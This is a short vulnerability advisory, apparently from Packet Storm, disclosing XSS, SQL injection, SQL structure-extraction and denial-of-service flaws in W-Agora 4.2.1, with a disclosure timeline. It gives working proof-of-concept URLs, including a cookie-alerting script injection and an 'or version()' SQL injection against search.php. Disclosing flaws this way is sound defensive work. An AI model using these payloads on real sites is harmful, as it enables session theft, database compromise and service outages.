W-Agora 4.2.1 Cross Site Scripting / Denial Of Service / SQL Injection

`Hello Packet Storm!  
  
I want to warn you about Cross-Site Scripting, SQL DB Structure Extraction,  
SQL Injection and Denial of Service vulnerabilities in W-Agora.  
  
SecurityVulns ID: 11324.  
  
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Affected products:  
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Vulnerable are W-Agora 4.2.1 and previous versions.  
  
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Details:  
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XSS (WASC-08):  
  
http://site/current/search.php?bn=support_news&search_forum='%3Cscript%3Ealert(document.cookie)%3C/script%3E&site=support&gosearch=1  
  
SQL DB Structure Extraction (WASC-13):  
  
http://site/current/search.php?bn=support_news&search_forum='&site=support&gosearch=1  
  
SQL Injection (WASC-19):  
  
http://site/current/search.php?bn=support_news&search_forum='%20or%20version()%3E'5&site=support&gosearch=1  
  
DoS (WASC-10):  
  
http://site/current/search.php?bn=support_news&search_forum=support_news&site=support&gosearch=1&pattern=%25  
  
http://site/current/search.php?bn=support_news&search_forum=support_news&site=support&gosearch=1&pattern=  
  
http://site/current/list.php?site=support&bn=support_news  
  
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Timeline:  
------------  
  
2010.10.30 - announced at my site.  
2010.11.01 - informed developers.  
2010.12.25 - disclosed at my site.  
  
I mentioned about these vulnerabilities at my site  
(http://websecurity.com.ua/4650/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua  
  
`